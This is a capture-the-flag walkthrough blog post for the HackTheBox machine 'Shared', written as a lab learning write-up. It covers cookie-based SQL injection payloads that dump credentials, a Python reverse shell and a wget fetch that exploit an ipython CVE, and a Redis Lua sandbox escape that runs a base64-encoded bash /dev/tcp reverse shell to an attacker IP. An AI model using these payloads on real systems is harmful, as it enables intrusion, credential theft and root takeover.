HackTheBox — Shared

ARZ101
9 min readNov 12, 2022

--

Shared was medium rated linux machine which involved exploiting data in the cookie which was being fetched from database in json format vulnerable to sqli, enumerating the database we’ll find the credentials for james_mason , running pspy we’ll see that ipython which has is being ran in a directory where we have write access and it was vulnerable to CVE-2022–21699 allowing us to execute python script leading to code execution and giving us a shell as dan_smith, being in sysadmin group we can execute redis connector binary which runs stats command with the redis credentials, we can either reverse the binary or listen on port 6379 to get the credentials and escalating privileges to root by exploiting CVE-2022–0543

NMAP

Nmap scan report for 10.10.11.172                                                                                                             
Host is up (0.17s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open ssl/http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-20T13:37:14
| Not valid after: 2042-03-15T13:37:14
| MD5: fb0b 4ab4 9ee7 d95d ae43 239a fca4 c59e
|_SHA-1: 6ccd a103 5d29 a441 0aa2 0e32 79c4 83e1 750a d0a0
| tls-alpn:

PORT 80/443 (HTTP/HTTPS)

The web server redirects to shared.htb, so let's add this in our hosts file

This loads up the site and it displays a shopping site, checking the functionality of the site we can add items in the cart, few GET parameters can be seen which we can test for sql injection

With sqlmap I tested for sqli but it didn't seemed that if any of the parameters were vulnerable

Continuing with the functionality of the site

Clicking on proceed to checkout will redirect us to checkout.shared.htb

I used wfuzz to see if there are any more subdomains that we can find but there was only the checkout subdomain

The pay button doesn’t make any request, it just displays a message with alert

Intercepting the request when adding the the items in the cart it adds custom_cart in the cookies and this is used on checkout subdomain to display the items in the cart

If we try changing the product code to a non-existent code it will show a message Not found in Product

So this could mean that maybe it’s verifying the product code from the database, we can try sqli here with ' OR 1=1 -- and see if it is vulnerable

This returns a product code so this definitely is vulnerable to sqli, we can now try to enumerate the number of columns with ORDER BY

{"uwu'ORDER BY 2 -- ":"12"}

This gives the error Not Found which means we haven't got the correct number of columns

On increasing it to 3 we’ll get a blank response meaning that there are 3 columns in the current table

{"uwu'ORDER BY 3 -- ":"12"}

To see which column gets reflected on the page

{"'union select 'U','W','U' -- ":"12"}

We can now print the database version with @@version or versionn() to see what's being used in the second column

{"'union select null,@@version,null -- ":"12"}

I tried reading the files through load_file function but the database user didn't had the FILE privilege, we can enumerate the database name with database() which returns the name as checkout

{"'union select null,database(),null -- ":"12"}

To enumerate the table and column name

{"'union select null,table_name,null from information_schema.tables where table_schema=database() -- ":"12"}

Foothold

But the table name shown is only one here and it could be that query behind the application is fetching only one record from the database which makes the output limited, we can make use of group_concat here

http://www.securityidiots.com/Web-Pentest/SQL-Injection/basic-injection-single-line-or-death.html

{"'union select null,group_concat(table_name),null from information_schema.tables where table_schema=database() -- ":"12"}

Which now returns another table products

The same goes for the column names, if we try to dump coulmn_names without group_concat function it will only return one column

{"'union select null,column_name,null from information_schema.columns where table_schema=database() -- ":"12"}

So with group_concat

{"'union select null,group_concat(column_name),null from information_schema.columns where table_schema=database() -- ":"12"}

Now we can extract the username and password from the table

{"'union select null,group_concat(username,0x3a,password),null from user -- ":"12"}

This hash can be cracked from crackstation site

https://crackstation.net/

With these credentials we can login through ssh

From the output of id command we can see that this user is in developer group, we can get the credentials of database even tho there's no need for that but still the password can be re-used

Checking if the developer group is an owner of any folder or file

Transferring pspy on the machine to see if there are any cronjobs running with the other user

pspy shows that ipython as dan_smith

Privilege Escalation (dan_smith)

On looking for vulnerabilities for ipython took, there was a execution with unnecessary privileges CVE-2022-21699 which runs the python script if it's in /profile_default/startup/

And ipython on the target machine is indeed vulnerable as it’s using version 8.0.0

So first we’ll host a python file having a reverse shell

import socket
import os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.114",2222))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

By following the proof of concept we need to make the startup directory in profile_default having our python

mkdir -p -m 777 /opt/scripts_review/profile_default && mkdir -p -m 777 /opt/scripts_review/profile_default/startup && cd /opt/scripts_review/profile_default/startup && wget 10.10.14.114:3333/foo.py && chmod 777 ./foo.py

But the reverse shell will die because the cronjob kills the ipython process through which our reverse shell is spawned, so it’s best to just get the ssh key

Privilege Escalation (root)

This user is in sysadmin group also this has access to redis_connector_dev

On running this binary it will connect to redis server using the hard coded credentials and will return the result of INFO command which returns the statistics of redis server

Doing same basic reverse engineering stuff with strings we can find out that it's a golang binary

We could try reversing this binary with ghidra but it's a pain when we try reversing golang binaries on ghidra, a better option is to cutter

From here we can search for the main function

In the main function we can see a string which might be the credential

This can be checked without needing to reverse the binary, as the binary is making a connection to 127.0.0.1:6379, it’s sending only the password not the username

With this password we can login into redis server with redis-cli

There’s a CVE for redis which is Lua sandbox escape in which we can execute lua scripts to get code execution as root user as this redis is running with root

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

To get a root shell we can base64 encode our bash reverse shell, pipe it to base64 decode and then pipe it to bash so that it can be executed

echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.114/2222 0>&1'" | base64 -w0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjExNC8yMjIyIDA+JjEnCg== | base64 -d | bash ", "r"); local res = f:read("*a"); f:close(); return res' 0

The redis process will also get killed and trying to make bash a SUID it won’t allow you to do that

I also tried writing the ssh public in root’s authorized_keys file as well but that didn’t worked so the last resort was to edit entry of root user in shadow file by first saving it on your local machine, editing and then transfer it back by hosting it through python server

References

--

--